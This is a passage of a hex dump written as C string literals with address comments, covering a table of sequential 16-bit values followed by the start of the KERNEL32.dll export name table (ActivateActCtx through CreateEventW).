"\x7A\x00\x7B\x00\x7C\x00\x7D\x00\x7E\x00\x7F\x00\x80\x00\x81\x00" // z.{.|.}.~..€.. /* 7C8044F0 */ "\x82\x00\x83\x00\x84\x00\x85\x00\x86\x00\x87\x00\x88\x00\x89\x00" // ‚.ƒ.„.….†.‡.ˆ.‰. /* 7C804500 */ "\x8A\x00\x8B\x00\x8C\x00\x8D\x00\x8E\x00\x8F\x00\x90\x00\x91\x00" // Š.‹.Œ..Ž...‘. /* 7C804510 */ "\x92\x00\x93\x00\x94\x00\x95\x00\x96\x00\x97\x00\x98\x00\x99\x00" // ’.“.”.•.–.—.˜.™. /* 7C804520 */ "\x9A\x00\x9B\x00\x9C\x00\x9D\x00\x9E\x00\x9F\x00\xA0\x00\xA1\x00" // š.›.œ..ž.Ÿ. .¡. /* 7C804530 */ "\xA2\x00\xA3\x00\xA4\x00\xA5\x00\xA6\x00\xA7\x00\xA8\x00\xA9\x00" // ¢.£.¤.¥.¦.§.¨.©. /* 7C804540 */ "\xAA\x00\xAB\x00\xAC\x00\xAD\x00\xAE\x00\xAF\x00\xB0\x00\xB1\x00" // ª.«.¬.­.®.¯.°.±. /* 7C804550 */ "\xB2\x00\xB3\x00\xB4\x00\xB5\x00\xB6\x00\xB7\x00\xB8\x00\xB9\x00" // ².³.´.µ.¶.·.¸.¹. /* 7C804560 */ "\xBA\x00\xBB\x00\xBC\x00\xBD\x00\xBE\x00\xBF\x00\xC0\x00\xC1\x00" // º.».¼.½.¾.¿.À.Á. /* 7C804570 */ "\xC2\x00\xC3\x00\xC4\x00\xC5\x00\xC6\x00\xC7\x00\xC8\x00\xC9\x00" // Â.Ã.Ä.Å.Æ.Ç.È.É. /* 7C804580 */ "\xCA\x00\xCB\x00\xCC\x00\xCD\x00\xCE\x00\xCF\x00\xD0\x00\xD1\x00" // Ê.Ë.Ì.Í.Î.Ï.Ð.Ñ. /* 7C804590 */ "\xD2\x00\xD3\x00\xD4\x00\xD5\x00\xD6\x00\xD7\x00\xD8\x00\xD9\x00" // Ò.Ó.Ô.Õ.Ö.×.Ø.Ù. /* 7C8045A0 */ "\xDA\x00\xDB\x00\xDC\x00\xDD\x00\xDE\x00\xDF\x00\xE0\x00\xE1\x00" // Ú.Û.Ü.Ý.Þ.ß.à.á. /* 7C8045B0 */ "\xE2\x00\xE3\x00\xE4\x00\xE5\x00\xE6\x00\xE7\x00\xE8\x00\xE9\x00" // â.ã.ä.å.æ.ç.è.é. /* 7C8045C0 */ "\xEA\x00\xEB\x00\xEC\x00\xED\x00\xEE\x00\xEF\x00\xF0\x00\xF1\x00" // ê.ë.ì.í.î.ï.ð.ñ. /* 7C8045D0 */ "\xF2\x00\xF3\x00\xF4\x00\xF5\x00\xF6\x00\xF7\x00\xF8\x00\xF9\x00" // ò.ó.ô.õ.ö.÷.ø.ù. /* 7C8045E0 */ "\xFA\x00\xFB\x00\xFC\x00\xFD\x00\xFE\x00\xFF\x00\x00\x01\x01\x01" // ú.û.ü.ý.þ.ÿ.. /* 7C8045F0 */ "\x02\x01\x03\x01\x04\x01\x05\x01\x06\x01\x07\x01\x08\x01\x09\x01" // . /* 7C804600 */ "\x0A\x01\x0B\x01\x0C\x01\x0D\x01\x0E\x01\x0F\x01\x10\x01\x11\x01" // . .. /* 7C804610 */ "\x12\x01\x13\x01\x14\x01\x15\x01\x16\x01\x17\x01\x18\x01\x19\x01" //  /* 7C804620 */ "\x1A\x01\x1B\x01\x1C\x01\x1D\x01\x1E\x01\x1F\x01\x20\x01\x21\x01" //  ! /* 7C804630 */ "\x22\x01\x23\x01\x24\x01\x25\x01\x26\x01\x27\x01\x28\x01\x29\x01" // "#$%&'() /* 7C804640 */ "\x2A\x01\x2B\x01\x2C\x01\x2D\x01\x2E\x01\x2F\x01\x30\x01\x31\x01" // *+,-./01 /* 7C804650 */ "\x32\x01\x33\x01\x34\x01\x35\x01\x36\x01\x37\x01\x38\x01\x39\x01" // 23456789 /* 7C804660 */ "\x3A\x01\x3B\x01\x3C\x01\x3D\x01\x3E\x01\x3F\x01\x40\x01\x41\x01" // :;<=>?@A /* 7C804670 */ "\x42\x01\x43\x01\x44\x01\x45\x01\x46\x01\x47\x01\x48\x01\x49\x01" // BCDEFGHI /* 7C804680 */ "\x4A\x01\x4B\x01\x4C\x01\x4D\x01\x4E\x01\x4F\x01\x50\x01\x51\x01" // JKLMNOPQ /* 7C804690 */ "\x52\x01\x53\x01\x54\x01\x55\x01\x56\x01\x57\x01\x58\x01\x59\x01" // RSTUVWXY /* 7C8046A0 */ "\x5A\x01\x5B\x01\x5C\x01\x5D\x01\x5E\x01\x5F\x01\x60\x01\x61\x01" // Z[\]^_`a /* 7C8046B0 */ "\x62\x01\x63\x01\x64\x01\x65\x01\x66\x01\x67\x01\x68\x01\x69\x01" // bcdefghi /* 7C8046C0 */ "\x6A\x01\x6B\x01\x6C\x01\x6D\x01\x6E\x01\x6F\x01\x70\x01\x71\x01" // jklmnopq /* 7C8046D0 */ "\x72\x01\x73\x01\x74\x01\x75\x01\x76\x01\x77\x01\x78\x01\x79\x01" // rstuvwxy /* 7C8046E0 */ "\x7A\x01\x7B\x01\x7C\x01\x7D\x01\x7E\x01\x7F\x01\x80\x01\x81\x01" // z{|}~€ /* 7C8046F0 */ "\x82\x01\x83\x01\x84\x01\x85\x01\x86\x01\x87\x01\x88\x01\x89\x01" // ‚ƒ„…†‡ˆ‰ /* 7C804700 */ "\x8A\x01\x8B\x01\x8C\x01\x8D\x01\x8E\x01\x8F\x01\x90\x01\x91\x01" // Š‹ŒŽ‘ /* 7C804710 */ "\x92\x01\x93\x01\x94\x01\x95\x01\x96\x01\x97\x01\x98\x01\x99\x01" // ’“”•–—˜™ /* 7C804720 */ "\x9A\x01\x9B\x01\x9C\x01\x9D\x01\x9E\x01\x9F\x01\xA0\x01\xA1\x01" // š›œžŸ ¡ /* 7C804730 */ "\xA2\x01\xA3\x01\xA4\x01\xA5\x01\xA6\x01\xA7\x01\xA8\x01\xA9\x01" // ¢£¤¥¦§¨© /* 7C804740 */ "\xAA\x01\xAB\x01\xAC\x01\xAD\x01\xAE\x01\xAF\x01\xB0\x01\xB1\x01" // ª«¬­®¯°± /* 7C804750 */ "\xB2\x01\xB3\x01\xB4\x01\xB5\x01\xB6\x01\xB7\x01\xB8\x01\xB9\x01" // ²³´µ¶·¸¹ /* 7C804760 */ "\xBA\x01\xBB\x01\xBC\x01\xBD\x01\xBE\x01\xBF\x01\xC0\x01\xC1\x01" // º»¼½¾¿ÀÁ /* 7C804770 */ "\xC2\x01\xC3\x01\xC4\x01\xC5\x01\xC6\x01\xC7\x01\xC8\x01\xC9\x01" // ÂÃÄÅÆÇÈÉ /* 7C804780 */ "\xCA\x01\xCB\x01\xCC\x01\xCD\x01\xCE\x01\xCF\x01\xD0\x01\xD1\x01" // ÊËÌÍÎÏÐÑ /* 7C804790 */ "\xD2\x01\xD3\x01\xD4\x01\xD5\x01\xD6\x01\xD7\x01\xD8\x01\xD9\x01" // ÒÓÔÕÖ×ØÙ /* 7C8047A0 */ "\xDA\x01\xDB\x01\xDC\x01\xDD\x01\xDE\x01\xDF\x01\xE0\x01\xE1\x01" // ÚÛÜÝÞßàá /* 7C8047B0 */ "\xE2\x01\xE3\x01\xE4\x01\xE5\x01\xE6\x01\xE7\x01\xE8\x01\xE9\x01" // âãäåæçèé /* 7C8047C0 */ "\xEA\x01\xEB\x01\xEC\x01\xED\x01\xEE\x01\xEF\x01\xF0\x01\xF1\x01" // êëìíîïðñ /* 7C8047D0 */ "\xF2\x01\xF3\x01\xF4\x01\xF5\x01\xF6\x01\xF7\x01\xF8\x01\xF9\x01" // òóôõö÷øù /* 7C8047E0 */ "\xFA\x01\xFB\x01\xFC\x01\xFD\x01\xFE\x01\xFF\x01\x00\x02\x01\x02" // úûüýþÿ. /* 7C8047F0 */ "\x02\x02\x03\x02\x04\x02\x05\x02\x06\x02\x07\x02\x08\x02\x09\x02" // . /* 7C804800 */ "\x0A\x02\x0B\x02\x0C\x02\x0D\x02\x0E\x02\x0F\x02\x10\x02\x11\x02" // . .. /* 7C804810 */ "\x12\x02\x13\x02\x14\x02\x15\x02\x16\x02\x17\x02\x18\x02\x19\x02" //  /* 7C804820 */ "\x1A\x02\x1B\x02\x1C\x02\x1D\x02\x1E\x02\x1F\x02\x20\x02\x21\x02" //  ! /* 7C804830 */ "\x22\x02\x23\x02\x24\x02\x25\x02\x26\x02\x27\x02\x28\x02\x29\x02" // "#$%&'() /* 7C804840 */ "\x2A\x02\x2B\x02\x2C\x02\x2D\x02\x2E\x02\x2F\x02\x30\x02\x31\x02" // *+,-./01 /* 7C804850 */ "\x32\x02\x33\x02\x34\x02\x35\x02\x36\x02\x37\x02\x38\x02\x39\x02" // 23456789 /* 7C804860 */ "\x3A\x02\x3B\x02\x3C\x02\x3D\x02\x3E\x02\x3F\x02\x40\x02\x41\x02" // :;<=>?@A /* 7C804870 */ "\x42\x02\x43\x02\x44\x02\x45\x02\x46\x02\x47\x02\x48\x02\x49\x02" // BCDEFGHI /* 7C804880 */ "\x4A\x02\x4B\x02\x4C\x02\x4D\x02\x4E\x02\x4F\x02\x50\x02\x51\x02" // JKLMNOPQ /* 7C804890 */ "\x52\x02\x53\x02\x54\x02\x55\x02\x56\x02\x57\x02\x58\x02\x59\x02" // RSTUVWXY /* 7C8048A0 */ "\x5A\x02\x5B\x02\x5C\x02\x5D\x02\x5E\x02\x5F\x02\x60\x02\x61\x02" // Z[\]^_`a /* 7C8048B0 */ "\x62\x02\x63\x02\x64\x02\x65\x02\x66\x02\x67\x02\x68\x02\x69\x02" // bcdefghi /* 7C8048C0 */ "\x6A\x02\x6B\x02\x6C\x02\x6D\x02\x6E\x02\x6F\x02\x70\x02\x71\x02" // jklmnopq /* 7C8048D0 */ "\x72\x02\x73\x02\x74\x02\x75\x02\x76\x02\x77\x02\x78\x02\x79\x02" // rstuvwxy /* 7C8048E0 */ "\x7A\x02\x7B\x02\x7C\x02\x7D\x02\x7E\x02\x7F\x02\x80\x02\x81\x02" // z{|}~€ /* 7C8048F0 */ "\x82\x02\x83\x02\x84\x02\x85\x02\x86\x02\x87\x02\x88\x02\x89\x02" // ‚ƒ„…†‡ˆ‰ /* 7C804900 */ "\x8A\x02\x8B\x02\x8C\x02\x8D\x02\x8E\x02\x8F\x02\x90\x02\x91\x02" // Š‹ŒŽ‘ /* 7C804910 */ "\x92\x02\x93\x02\x94\x02\x95\x02\x96\x02\x97\x02\x98\x02\x99\x02" // ’“”•–—˜™ /* 7C804920 */ "\x9A\x02\x9B\x02\x9C\x02\x9D\x02\x9E\x02\x9F\x02\xA0\x02\xA1\x02" // š›œžŸ ¡ /* 7C804930 */ "\xA2\x02\xA3\x02\xA4\x02\xA5\x02\xA6\x02\xA7\x02\xA8\x02\xA9\x02" // ¢£¤¥¦§¨© /* 7C804940 */ "\xAA\x02\xAB\x02\xAC\x02\xAD\x02\xAE\x02\xAF\x02\xB0\x02\xB1\x02" // ª«¬­®¯°± /* 7C804950 */ "\xB2\x02\xB3\x02\xB4\x02\xB5\x02\xB6\x02\xB7\x02\xB8\x02\xB9\x02" // ²³´µ¶·¸¹ /* 7C804960 */ "\xBA\x02\xBB\x02\xBC\x02\xBD\x02\xBE\x02\xBF\x02\xC0\x02\xC1\x02" // º»¼½¾¿ÀÁ /* 7C804970 */ "\xC2\x02\xC3\x02\xC4\x02\xC5\x02\xC6\x02\xC7\x02\xC8\x02\xC9\x02" // ÂÃÄÅÆÇÈÉ /* 7C804980 */ "\xCA\x02\xCB\x02\xCC\x02\xCD\x02\xCE\x02\xCF\x02\xD0\x02\xD1\x02" // ÊËÌÍÎÏÐÑ /* 7C804990 */ "\xD2\x02\xD3\x02\xD4\x02\xD5\x02\xD6\x02\xD7\x02\xD8\x02\xD9\x02" // ÒÓÔÕÖ×ØÙ /* 7C8049A0 */ "\xDA\x02\xDB\x02\xDC\x02\xDD\x02\xDE\x02\xDF\x02\xE0\x02\xE1\x02" // ÚÛÜÝÞßàá /* 7C8049B0 */ "\xE2\x02\xE3\x02\xE4\x02\xE5\x02\xE6\x02\xE7\x02\xE8\x02\xE9\x02" // âãäåæçèé /* 7C8049C0 */ "\xEA\x02\xEB\x02\xEC\x02\xED\x02\xEE\x02\xEF\x02\xF0\x02\xF1\x02" // êëìíîïðñ /* 7C8049D0 */ "\xF2\x02\xF3\x02\xF4\x02\xF5\x02\xF6\x02\xF7\x02\xF8\x02\xF9\x02" // òóôõö÷øù /* 7C8049E0 */ "\xFA\x02\xFB\x02\xFC\x02\xFD\x02\xFE\x02\xFF\x02\x00\x03\x01\x03" // úûüýþÿ. /* 7C8049F0 */ "\x02\x03\x03\x03\x04\x03\x05\x03\x06\x03\x07\x03\x08\x03\x09\x03" // . /* 7C804A00 */ "\x0A\x03\x0B\x03\x0C\x03\x0D\x03\x0E\x03\x0F\x03\x10\x03\x11\x03" // . .. /* 7C804A10 */ "\x12\x03\x13\x03\x14\x03\x15\x03\x16\x03\x17\x03\x18\x03\x19\x03" //  /* 7C804A20 */ "\x1A\x03\x1B\x03\x1C\x03\x1D\x03\x1E\x03\x1F\x03\x20\x03\x21\x03" //  ! /* 7C804A30 */ "\x22\x03\x23\x03\x24\x03\x25\x03\x26\x03\x27\x03\x28\x03\x29\x03" // "#$%&'() /* 7C804A40 */ "\x2A\x03\x2B\x03\x2C\x03\x2D\x03\x2E\x03\x2F\x03\x30\x03\x31\x03" // *+,-./01 /* 7C804A50 */ "\x32\x03\x33\x03\x34\x03\x35\x03\x36\x03\x37\x03\x38\x03\x39\x03" // 23456789 /* 7C804A60 */ "\x3A\x03\x3B\x03\x3C\x03\x3D\x03\x3E\x03\x3F\x03\x40\x03\x41\x03" // :;<=>?@A /* 7C804A70 */ "\x42\x03\x43\x03\x44\x03\x45\x03\x46\x03\x47\x03\x48\x03\x49\x03" // BCDEFGHI /* 7C804A80 */ "\x4A\x03\x4B\x03\x4C\x03\x4D\x03\x4E\x03\x4F\x03\x50\x03\x51\x03" // JKLMNOPQ /* 7C804A90 */ "\x52\x03\x53\x03\x54\x03\x55\x03\x56\x03\x57\x03\x58\x03\x59\x03" // RSTUVWXY /* 7C804AA0 */ "\x5A\x03\x5B\x03\x5C\x03\x5D\x03\x5E\x03\x5F\x03\x60\x03\x61\x03" // Z[\]^_`a /* 7C804AB0 */ "\x62\x03\x63\x03\x64\x03\x65\x03\x66\x03\x67\x03\x68\x03\x69\x03" // bcdefghi /* 7C804AC0 */ "\x6A\x03\x6B\x03\x6C\x03\x6D\x03\x6E\x03\x6F\x03\x70\x03\x71\x03" // jklmnopq /* 7C804AD0 */ "\x72\x03\x73\x03\x74\x03\x75\x03\x76\x03\x77\x03\x78\x03\x79\x03" // rstuvwxy /* 7C804AE0 */ "\x7A\x03\x7B\x03\x7C\x03\x7D\x03\x7E\x03\x7F\x03\x80\x03\x81\x03" // z{|}~€ /* 7C804AF0 */ "\x82\x03\x83\x03\x84\x03\x85\x03\x86\x03\x87\x03\x88\x03\x89\x03" // ‚ƒ„…†‡ˆ‰ /* 7C804B00 */ "\x8A\x03\x8B\x03\x8C\x03\x8D\x03\x8E\x03\x8F\x03\x90\x03\x91\x03" // Š‹ŒŽ‘ /* 7C804B10 */ "\x92\x03\x93\x03\x94\x03\x95\x03\x96\x03\x97\x03\x98\x03\x99\x03" // ’“”•–—˜™ /* 7C804B20 */ "\x9A\x03\x9B\x03\x9C\x03\x9D\x03\x9E\x03\x9F\x03\xA0\x03\xA1\x03" // š›œžŸ ¡ /* 7C804B30 */ "\xA2\x03\xA3\x03\xA4\x03\xA5\x03\xA6\x03\xA7\x03\xA8\x03\xA9\x03" // ¢£¤¥¦§¨© /* 7C804B40 */ "\xAA\x03\xAB\x03\xAC\x03\xAD\x03\xAE\x03\xAF\x03\xB0\x03\xB1\x03" // ª«¬­®¯°± /* 7C804B50 */ "\xB2\x03\xB3\x03\xB4\x03\x4B\x45\x52\x4E\x45\x4C\x33\x32\x2E\x64" // ²³´KERNEL32.d /* 7C804B60 */ "\x6C\x6C\x00\x41\x63\x74\x69\x76\x61\x74\x65\x41\x63\x74\x43\x74" // ll.ActivateActCt /* 7C804B70 */ "\x78\x00\x41\x64\x64\x41\x74\x6F\x6D\x41\x00\x41\x64\x64\x41\x74" // x.AddAtomA.AddAt /* 7C804B80 */ "\x6F\x6D\x57\x00\x41\x64\x64\x43\x6F\x6E\x73\x6F\x6C\x65\x41\x6C" // omW.AddConsoleAl /* 7C804B90 */ "\x69\x61\x73\x41\x00\x41\x64\x64\x43\x6F\x6E\x73\x6F\x6C\x65\x41" // iasA.AddConsoleA /* 7C804BA0 */ "\x6C\x69\x61\x73\x57\x00\x41\x64\x64\x4C\x6F\x63\x61\x6C\x41\x6C" // liasW.AddLocalAl /* 7C804BB0 */ "\x74\x65\x72\x6E\x61\x74\x65\x43\x6F\x6D\x70\x75\x74\x65\x72\x4E" // ternateComputerN /* 7C804BC0 */ "\x61\x6D\x65\x41\x00\x41\x64\x64\x4C\x6F\x63\x61\x6C\x41\x6C\x74" // ameA.AddLocalAlt /* 7C804BD0 */ "\x65\x72\x6E\x61\x74\x65\x43\x6F\x6D\x70\x75\x74\x65\x72\x4E\x61" // ernateComputerNa /* 7C804BE0 */ "\x6D\x65\x57\x00\x41\x64\x64\x52\x65\x66\x41\x63\x74\x43\x74\x78" // meW.AddRefActCtx /* 7C804BF0 */ "\x00\x41\x64\x64\x56\x65\x63\x74\x6F\x72\x65\x64\x45\x78\x63\x65" // .AddVectoredExce /* 7C804C00 */ "\x70\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x00\x41\x6C\x6C" // ptionHandler.All /* 7C804C10 */ "\x6F\x63\x43\x6F\x6E\x73\x6F\x6C\x65\x00\x41\x6C\x6C\x6F\x63\x61" // ocConsole.Alloca /* 7C804C20 */ "\x74\x65\x55\x73\x65\x72\x50\x68\x79\x73\x69\x63\x61\x6C\x50\x61" // teUserPhysicalPa /* 7C804C30 */ "\x67\x65\x73\x00\x41\x72\x65\x46\x69\x6C\x65\x41\x70\x69\x73\x41" // ges.AreFileApisA /* 7C804C40 */ "\x4E\x53\x49\x00\x41\x73\x73\x69\x67\x6E\x50\x72\x6F\x63\x65\x73" // NSI.AssignProces /* 7C804C50 */ "\x73\x54\x6F\x4A\x6F\x62\x4F\x62\x6A\x65\x63\x74\x00\x41\x74\x74" // sToJobObject.Att /* 7C804C60 */ "\x61\x63\x68\x43\x6F\x6E\x73\x6F\x6C\x65\x00\x42\x61\x63\x6B\x75" // achConsole.Backu /* 7C804C70 */ "\x70\x52\x65\x61\x64\x00\x42\x61\x63\x6B\x75\x70\x53\x65\x65\x6B" // pRead.BackupSeek /* 7C804C80 */ "\x00\x42\x61\x63\x6B\x75\x70\x57\x72\x69\x74\x65\x00\x42\x61\x73" // .BackupWrite.Bas /* 7C804C90 */ "\x65\x43\x68\x65\x63\x6B\x41\x70\x70\x63\x6F\x6D\x70\x61\x74\x43" // eCheckAppcompatC /* 7C804CA0 */ "\x61\x63\x68\x65\x00\x42\x61\x73\x65\x43\x6C\x65\x61\x6E\x75\x70" // ache.BaseCleanup /* 7C804CB0 */ "\x41\x70\x70\x63\x6F\x6D\x70\x61\x74\x43\x61\x63\x68\x65\x00\x42" // AppcompatCache.B /* 7C804CC0 */ "\x61\x73\x65\x43\x6C\x65\x61\x6E\x75\x70\x41\x70\x70\x63\x6F\x6D" // aseCleanupAppcom /* 7C804CD0 */ "\x70\x61\x74\x43\x61\x63\x68\x65\x53\x75\x70\x70\x6F\x72\x74\x00" // patCacheSupport. /* 7C804CE0 */ "\x42\x61\x73\x65\x44\x75\x6D\x70\x41\x70\x70\x63\x6F\x6D\x70\x61" // BaseDumpAppcompa /* 7C804CF0 */ "\x74\x43\x61\x63\x68\x65\x00\x42\x61\x73\x65\x46\x6C\x75\x73\x68" // tCache.BaseFlush /* 7C804D00 */ "\x41\x70\x70\x63\x6F\x6D\x70\x61\x74\x43\x61\x63\x68\x65\x00\x42" // AppcompatCache.B /* 7C804D10 */ "\x61\x73\x65\x49\x6E\x69\x74\x41\x70\x70\x63\x6F\x6D\x70\x61\x74" // aseInitAppcompat /* 7C804D20 */ "\x43\x61\x63\x68\x65\x00\x42\x61\x73\x65\x49\x6E\x69\x74\x41\x70" // Cache.BaseInitAp /* 7C804D30 */ "\x70\x63\x6F\x6D\x70\x61\x74\x43\x61\x63\x68\x65\x53\x75\x70\x70" // pcompatCacheSupp /* 7C804D40 */ "\x6F\x72\x74\x00\x42\x61\x73\x65\x50\x72\x6F\x63\x65\x73\x73\x49" // ort.BaseProcessI /* 7C804D50 */ "\x6E\x69\x74\x50\x6F\x73\x74\x49\x6D\x70\x6F\x72\x74\x00\x42\x61" // nitPostImport.Ba /* 7C804D60 */ "\x73\x65\x51\x75\x65\x72\x79\x4D\x6F\x64\x75\x6C\x65\x44\x61\x74" // seQueryModuleDat /* 7C804D70 */ "\x61\x00\x42\x61\x73\x65\x55\x70\x64\x61\x74\x65\x41\x70\x70\x63" // a.BaseUpdateAppc /* 7C804D80 */ "\x6F\x6D\x70\x61\x74\x43\x61\x63\x68\x65\x00\x42\x61\x73\x65\x70" // ompatCache.Basep /* 7C804D90 */ "\x43\x68\x65\x63\x6B\x57\x69\x6E\x53\x61\x66\x65\x72\x52\x65\x73" // CheckWinSaferRes /* 7C804DA0 */ "\x74\x72\x69\x63\x74\x69\x6F\x6E\x73\x00\x42\x65\x65\x70\x00\x42" // trictions.Beep.B /* 7C804DB0 */ "\x65\x67\x69\x6E\x55\x70\x64\x61\x74\x65\x52\x65\x73\x6F\x75\x72" // eginUpdateResour /* 7C804DC0 */ "\x63\x65\x41\x00\x42\x65\x67\x69\x6E\x55\x70\x64\x61\x74\x65\x52" // ceA.BeginUpdateR /* 7C804DD0 */ "\x65\x73\x6F\x75\x72\x63\x65\x57\x00\x42\x69\x6E\x64\x49\x6F\x43" // esourceW.BindIoC /* 7C804DE0 */ "\x6F\x6D\x70\x6C\x65\x74\x69\x6F\x6E\x43\x61\x6C\x6C\x62\x61\x63" // ompletionCallbac /* 7C804DF0 */ "\x6B\x00\x42\x75\x69\x6C\x64\x43\x6F\x6D\x6D\x44\x43\x42\x41\x00" // k.BuildCommDCBA. /* 7C804E00 */ "\x42\x75\x69\x6C\x64\x43\x6F\x6D\x6D\x44\x43\x42\x41\x6E\x64\x54" // BuildCommDCBAndT /* 7C804E10 */ "\x69\x6D\x65\x6F\x75\x74\x73\x41\x00\x42\x75\x69\x6C\x64\x43\x6F" // imeoutsA.BuildCo /* 7C804E20 */ "\x6D\x6D\x44\x43\x42\x41\x6E\x64\x54\x69\x6D\x65\x6F\x75\x74\x73" // mmDCBAndTimeouts /* 7C804E30 */ "\x57\x00\x42\x75\x69\x6C\x64\x43\x6F\x6D\x6D\x44\x43\x42\x57\x00" // W.BuildCommDCBW. /* 7C804E40 */ "\x43\x61\x6C\x6C\x4E\x61\x6D\x65\x64\x50\x69\x70\x65\x41\x00\x43" // CallNamedPipeA.C /* 7C804E50 */ "\x61\x6C\x6C\x4E\x61\x6D\x65\x64\x50\x69\x70\x65\x57\x00\x43\x61" // allNamedPipeW.Ca /* 7C804E60 */ "\x6E\x63\x65\x6C\x44\x65\x76\x69\x63\x65\x57\x61\x6B\x65\x75\x70" // ncelDeviceWakeup /* 7C804E70 */ "\x52\x65\x71\x75\x65\x73\x74\x00\x43\x61\x6E\x63\x65\x6C\x49\x6F" // Request.CancelIo /* 7C804E80 */ "\x00\x43\x61\x6E\x63\x65\x6C\x54\x69\x6D\x65\x72\x51\x75\x65\x75" // .CancelTimerQueu /* 7C804E90 */ "\x65\x54\x69\x6D\x65\x72\x00\x43\x61\x6E\x63\x65\x6C\x57\x61\x69" // eTimer.CancelWai /* 7C804EA0 */ "\x74\x61\x62\x6C\x65\x54\x69\x6D\x65\x72\x00\x43\x68\x61\x6E\x67" // tableTimer.Chang /* 7C804EB0 */ "\x65\x54\x69\x6D\x65\x72\x51\x75\x65\x75\x65\x54\x69\x6D\x65\x72" // eTimerQueueTimer /* 7C804EC0 */ "\x00\x43\x68\x65\x63\x6B\x4E\x61\x6D\x65\x4C\x65\x67\x61\x6C\x44" // .CheckNameLegalD /* 7C804ED0 */ "\x4F\x53\x38\x44\x6F\x74\x33\x41\x00\x43\x68\x65\x63\x6B\x4E\x61" // OS8Dot3A.CheckNa /* 7C804EE0 */ "\x6D\x65\x4C\x65\x67\x61\x6C\x44\x4F\x53\x38\x44\x6F\x74\x33\x57" // meLegalDOS8Dot3W /* 7C804EF0 */ "\x00\x43\x68\x65\x63\x6B\x52\x65\x6D\x6F\x74\x65\x44\x65\x62\x75" // .CheckRemoteDebu /* 7C804F00 */ "\x67\x67\x65\x72\x50\x72\x65\x73\x65\x6E\x74\x00\x43\x6C\x65\x61" // ggerPresent.Clea /* 7C804F10 */ "\x72\x43\x6F\x6D\x6D\x42\x72\x65\x61\x6B\x00\x43\x6C\x65\x61\x72" // rCommBreak.Clear /* 7C804F20 */ "\x43\x6F\x6D\x6D\x45\x72\x72\x6F\x72\x00\x43\x6C\x6F\x73\x65\x43" // CommError.CloseC /* 7C804F30 */ "\x6F\x6E\x73\x6F\x6C\x65\x48\x61\x6E\x64\x6C\x65\x00\x43\x6C\x6F" // onsoleHandle.Clo /* 7C804F40 */ "\x73\x65\x48\x61\x6E\x64\x6C\x65\x00\x43\x6C\x6F\x73\x65\x50\x72" // seHandle.ClosePr /* 7C804F50 */ "\x6F\x66\x69\x6C\x65\x55\x73\x65\x72\x4D\x61\x70\x70\x69\x6E\x67" // ofileUserMapping /* 7C804F60 */ "\x00\x43\x6D\x64\x42\x61\x74\x4E\x6F\x74\x69\x66\x69\x63\x61\x74" // .CmdBatNotificat /* 7C804F70 */ "\x69\x6F\x6E\x00\x43\x6F\x6D\x6D\x43\x6F\x6E\x66\x69\x67\x44\x69" // ion.CommConfigDi /* 7C804F80 */ "\x61\x6C\x6F\x67\x41\x00\x43\x6F\x6D\x6D\x43\x6F\x6E\x66\x69\x67" // alogA.CommConfig /* 7C804F90 */ "\x44\x69\x61\x6C\x6F\x67\x57\x00\x43\x6F\x6D\x70\x61\x72\x65\x46" // DialogW.CompareF /* 7C804FA0 */ "\x69\x6C\x65\x54\x69\x6D\x65\x00\x43\x6F\x6D\x70\x61\x72\x65\x53" // ileTime.CompareS /* 7C804FB0 */ "\x74\x72\x69\x6E\x67\x41\x00\x43\x6F\x6D\x70\x61\x72\x65\x53\x74" // tringA.CompareSt /* 7C804FC0 */ "\x72\x69\x6E\x67\x57\x00\x43\x6F\x6E\x6E\x65\x63\x74\x4E\x61\x6D" // ringW.ConnectNam /* 7C804FD0 */ "\x65\x64\x50\x69\x70\x65\x00\x43\x6F\x6E\x73\x6F\x6C\x65\x4D\x65" // edPipe.ConsoleMe /* 7C804FE0 */ "\x6E\x75\x43\x6F\x6E\x74\x72\x6F\x6C\x00\x43\x6F\x6E\x74\x69\x6E" // nuControl.Contin /* 7C804FF0 */ "\x75\x65\x44\x65\x62\x75\x67\x45\x76\x65\x6E\x74\x00\x43\x6F\x6E" // ueDebugEvent.Con /* 7C805000 */ "\x76\x65\x72\x74\x44\x65\x66\x61\x75\x6C\x74\x4C\x6F\x63\x61\x6C" // vertDefaultLocal /* 7C805010 */ "\x65\x00\x43\x6F\x6E\x76\x65\x72\x74\x46\x69\x62\x65\x72\x54\x6F" // e.ConvertFiberTo /* 7C805020 */ "\x54\x68\x72\x65\x61\x64\x00\x43\x6F\x6E\x76\x65\x72\x74\x54\x68" // Thread.ConvertTh /* 7C805030 */ "\x72\x65\x61\x64\x54\x6F\x46\x69\x62\x65\x72\x00\x43\x6F\x70\x79" // readToFiber.Copy /* 7C805040 */ "\x46\x69\x6C\x65\x41\x00\x43\x6F\x70\x79\x46\x69\x6C\x65\x45\x78" // FileA.CopyFileEx /* 7C805050 */ "\x41\x00\x43\x6F\x70\x79\x46\x69\x6C\x65\x45\x78\x57\x00\x43\x6F" // A.CopyFileExW.Co /* 7C805060 */ "\x70\x79\x46\x69\x6C\x65\x57\x00\x43\x6F\x70\x79\x4C\x5A\x46\x69" // pyFileW.CopyLZFi /* 7C805070 */ "\x6C\x65\x00\x43\x72\x65\x61\x74\x65\x41\x63\x74\x43\x74\x78\x41" // le.CreateActCtxA /* 7C805080 */ "\x00\x43\x72\x65\x61\x74\x65\x41\x63\x74\x43\x74\x78\x57\x00\x43" // .CreateActCtxW.C /* 7C805090 */ "\x72\x65\x61\x74\x65\x43\x6F\x6E\x73\x6F\x6C\x65\x53\x63\x72\x65" // reateConsoleScre /* 7C8050A0 */ "\x65\x6E\x42\x75\x66\x66\x65\x72\x00\x43\x72\x65\x61\x74\x65\x44" // enBuffer.CreateD /* 7C8050B0 */ "\x69\x72\x65\x63\x74\x6F\x72\x79\x41\x00\x43\x72\x65\x61\x74\x65" // irectoryA.Create /* 7C8050C0 */ "\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x45\x78\x41\x00\x43\x72\x65" // DirectoryExA.Cre /* 7C8050D0 */ "\x61\x74\x65\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x45\x78\x57\x00" // ateDirectoryExW. /* 7C8050E0 */ "\x43\x72\x65\x61\x74\x65\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x57" // CreateDirectoryW /* 7C8050F0 */ "\x00\x43\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74\x41\x00\x43\x72" // .CreateEventA.Cr /* 7C805100 */ "\x65\x61\x74\x65\x45\x76\x65\x6E\x74\x57\x00\x43\x72\x65\x61\x74" // eateEventW.Creat /* 7C805110 */ 